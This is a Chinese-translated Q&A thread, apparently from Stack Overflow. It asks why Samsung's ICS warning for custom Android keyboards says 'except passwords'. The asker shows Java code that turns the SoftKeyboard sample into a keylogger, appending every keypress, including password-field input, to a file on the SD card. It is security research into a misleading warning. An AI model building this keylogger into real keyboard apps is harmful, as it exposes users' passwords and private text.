3

我一直在对 Android 自定义键盘的安全漏洞进行一些研究，并注意到一些有趣的事情。当我在我的 Sharp Aquos Gingerbread 手机上安装键盘时，它告诉我它“可能能够收集您输入的所有文本，包括密码”。但是，在我运行 ICS 的三星 Galaxy Tab 2 上，它显示“密码除外”。

我决定对此进行测试，并修改了 SoftKeyboard Android SDK 示例以包含一个键盘记录器，写入 SD 卡以使其更容易从其他应用程序访问：

public void onKey(int primaryCode, int[] keyCodes) {
    String keypress = String.valueOf((char)primaryCode);
    Log.d("Key Pressed",keypress);
    try{
        String SDCARD = Environment.getExternalStorageDirectory().getAbsolutePath();
        String FILENAME = "keylogger.txt";

        File outfile = new File(SDCARD+File.separator+FILENAME);
        FileOutputStream fos = new FileOutputStream(outfile,true);
        fos.write(keypress.getBytes());
        fos.close();
    }catch(Exception e) {
        Log.d("EXCEPTION",e.getMessage());
    }

而且我能够记录文本，即使在 HTML 密码字段中也是如此。

因此，我的 Galaxy Tab 上的消息似乎不正确/具有误导性。

这是所有 ICS 设备上的相同消息，还是三星更改了库存 Android 版本的消息？有人知道为什么在很容易登录时会显示“密码除外”吗？

4

1 回答 1

1

在 Galaxy Nexus 上，它说“包括密码和信用卡号码等个人数据”。您必须联系三星以获取真实信息，但除非他们不允许在密码字段上使用自定义键盘或类似的东西，否则您键入的所有内容都会在某个时候通过软件键盘进行，因此他们将能够记录它。

于 2012-08-01T01:55:56.833 回答